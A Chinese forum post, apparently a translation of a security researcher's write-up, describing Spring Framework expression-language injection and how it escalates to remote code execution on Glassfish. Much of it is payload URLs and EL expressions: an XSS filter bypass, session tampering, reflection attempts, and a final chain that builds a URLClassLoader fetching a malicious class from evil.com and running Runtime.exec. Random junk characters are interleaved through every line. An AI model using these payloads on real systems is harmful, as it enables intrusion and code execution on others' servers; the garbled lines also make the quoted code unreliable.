找回密码
 立即注册
查看: 2724|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with4 s/ ]  l- d1 H% u! O
Expression Language Injection. ~& v" W( W6 U$ o/ Q/ h7 p$ V0 V
Spring Framework脆弱性—DanAmodio
4 E+ f, |! r3 W) w' Q* ^6 m全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中4 _. d# d# r5 p1 N/ d% B
可能会存在风险。4 {  C: S5 x8 H8 ^5 Z2 B* P1 }5 N
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
* m! f+ ?9 S4 }5 H+ b) [# ^6 K4 _Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
# c, J5 v6 e9 C6 K$ `$ R以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持," ^$ H0 l$ M) r+ t- z
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
+ w6 {4 Q" y5 p; ~* |7 w5 q版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
9 f4 {8 Q" h9 c' Z4 H# u' {' d8 _5 j由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但/ c* K% c+ w- o2 h+ y/ w: w/ H
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
/ I2 u+ K( m+ E! @: m: n* ~5 {本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。( h6 ?+ W, p) i& O0 o9 b( S" Z1 w
这些版本不支持禁用double EL resolution.% H7 A+ [  y+ a
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含) }' \6 h, o5 d
EL2.2容器上可能进行远程代码执行。. ]6 Z+ n9 I/ K! b' Z" I+ M$ n
这是一个原始信息泄露的攻击例子:
. {" R! e# I4 _" j/ m2 g请求:
: u: o+ V: L# |6 ittp://vulnerable.com/foo?message=${applicationScope}
0 q0 H* F+ \/ a) P9 @- E4 J到达以下内容页面:
1 S- W3 B* K! F9 L* @5 W7 a结果将输出一些包含内部服务器信息calsspath 和本地工作目录2 f# O* p3 f" D) e, o7 r
你也可以做一些其他事情,如这样:
" R. P, n5 S) h  I( ]* k${9999+1}
/ B3 P/ h5 A' a$ A* w( S还可以访问session 对象和beans
8 X9 T+ Z  r& E' e7 k, I6 S${employee.lastName}
( n2 L- O# c; K2 Z在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是  z& V) V  `8 a# z! ]% a7 B' ~
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东9 Y8 z, i: ?7 u& Z; s! j
西,比如XSS.
( f0 Q- N$ |* G% Q/ R哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
8 y% f7 @7 J, h2 o" S突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤3 M! |4 d1 x- L* g5 N9 i
呢?”
* s" R" `" q6 @5 Q9 p7 k9 H因此,我尝试巳缦拢�3 Q0 X# @2 S. _6 T: F
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP# i) B# l5 J) c# P$ f
P/ m6 @. R- s# H# V, K
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返  `7 x, u3 G( `5 J
回的文本被插入进了spring:message 标签。
8 j* d6 }; r9 T1 s4 `这里是一个最终绕过过滤的实例:6 ?' o! @  E8 v, c' E0 y/ k7 P
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ( p8 Y; t4 ^, o
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
$ @" h  _/ L+ y' u5 c4 I9 [# U( V什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?/ A% @( u+ t% R& B& ~1 ?0 L' D' z. j
经过一番研究,我学习到EL2.2 增加了方法调用。2 M$ S! e: `: M, S. P1 _9 _; @
我写了一个快速测试应用程序代码并且检测一些功能- M9 {& @( V! ~2 B
${pageContext.request.getSession().setAttribute(“account”,”123456″)}* \7 a7 M( {  T7 l* s" W
${pageContext.request.getSession().setAttribute(“admin”,true)}% F; a$ R1 j, a' {8 B/ u
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
9 I$ [# v) @* m9 E' _$ J, T; Y# I6 q1 f指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
$ ?9 b0 K7 O/ [4 T${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
0 b' A' R7 v- [2 D+ u. @3 l7 O“, 1234)}
4 b+ [$ \3 z- ]' }- E( ^${“”.getClass().forName(“java.lang.Runtime”)}
. O; \4 X, K( J& o# u哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不3 p, Y( U, @& Z0 J7 X" Q/ h- C
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函; k* G  T0 V7 F
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有# Y8 `- E/ z5 q; M+ ^9 r/ K* i
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于- E$ y7 ~' ~0 t$ E) h
方法签名invoke(Object obj, Object„ args)  s/ b; ]- G5 T. D
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问: _/ y1 B* [: K
题,以让它可以工作起来。
) t/ A5 w1 l: J1 R+ F- [9 t漏洞利用:
) O- f$ G8 k; q我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我# l0 M  D8 }2 `# V& O8 a3 F
希望你们中的一些JAVA奇才告诉我我是如此的可笑。+ U4 n4 l3 I5 b2 }! _
这里有一些我试过的失败的用例,为了试图让它工作的用例:6 ?% h) y2 Q, ]# K1 L8 P- u
 写文件到文件系统
+ C* @5 c) D% I. } 试图载入org.springframework.expression.spel.standard.SpelExpressionParser., p: b9 V. u  y$ v- ~7 I3 h0 R
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
7 c4 N6 E) _9 ~${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
* w5 u/ z% Z! Q2 A) njavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:7 B" X: J7 G  P" l
org.springframework.expression.spel.standard.SpelExpressionParser not found) O) [* m4 R% d: H( Q. c. w
by
  ]; v* O2 h% B6 z4 H  R; k5 H% X# l- Torg.glassfish.web.javax.servlet.jsp [194].
+ ^% X. c7 t9 C2 I: L8 V, b 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public) N4 p( u+ d& _2 _
 利用反射来创建一个新的Runtime(and watch the world burn)
; Z2 U. ~  n9 T& C. P${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
  O4 T) [8 u; h/ U(“java.lang.Runtime”)).getDeclaredConstructors()[0])}. M; V5 N& K. O# G: W6 w8 R
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
) ?7 B0 k* M2 h- k: K) b* h7 T 使用java.lang.ProcessBuilder
9 f; v- W, C% G7 U6 p7 Q3 z* r 用表达式语言来评估表达式语言' R% E* Y' u1 {7 R
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
6 Y% E0 p: h8 b! q+ G${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
' u4 k- s6 M* S  U8 C- ?“,”".getClass(),null)}0 s& F) s0 S- `- k1 S
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
- E' p, p6 |9 z我在使用一个空数组通过Method.invoke()时失败了很多次
& t2 G4 a( \6 n3 A4 P6 L( A. a“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
4 ^6 R, ]! ^" Y; T.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
  A- t+ T. `# krrayList”).newInstance().toArray())
: A  ~7 Q/ {% \/ mjava.lang.IllegalArgumentException: wrong number of arguments# `1 d  D* B8 u7 _
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可* Q2 E0 }; t5 ?# I7 h
以创建一个恶意class文件并且指向类装载器.
! V  m7 H; R$ y! a6 W我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:3 b9 F' p- {, J! |
public class Malicious {
$ U% F( b# x$ a4 b$ k4 }public Malicious() {
0 x+ D2 Q; o+ H( V& B+ Ytry {
( J  T4 n+ ?; B# M+ m8 e0 j* rjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac+ B6 F! y7 h: N  c
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win6 M% A! A6 g+ M1 k
} catch (Exception e) {( |5 ?( Q1 n7 W( Y6 e
}
% ]1 C3 O- Z* ]9 K' R, e}
" N: Y& p; ]. h9 K: c我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回7 u$ x  w* _5 x! f
话中,因此它可以被使用.4 {! u1 h4 m1 f' j
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName  u9 a, D* q  Q& b, I7 O( g
(“java.util.ArrayList”).newInstance())}, e! @0 C: P. z6 n
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建; K% z# V2 p& K" T6 h8 y8 Y% k
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
, X, g; j2 b9 E% o! JgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个% e+ d, O+ M$ u0 r
我们可以调用的create(string)方法,然后转换对一个URL对象。
5 u. j5 }2 [' @${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
0 L9 C9 ?/ Z% Bere/malicious/classfile/is/located/”).toURL())}
' t( c' X2 Z' E然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
! P9 y4 ^, j4 E% ^0 ~1 q2 `恶意类文件被装载并创建,触发远程代码.0 g: `4 C8 e; G$ v% }+ M) p9 R6 _% T
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte% K  T0 I# v+ z) k9 |
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().$ m) S8 _& |& n
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
, Y  e! f1 b' i()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表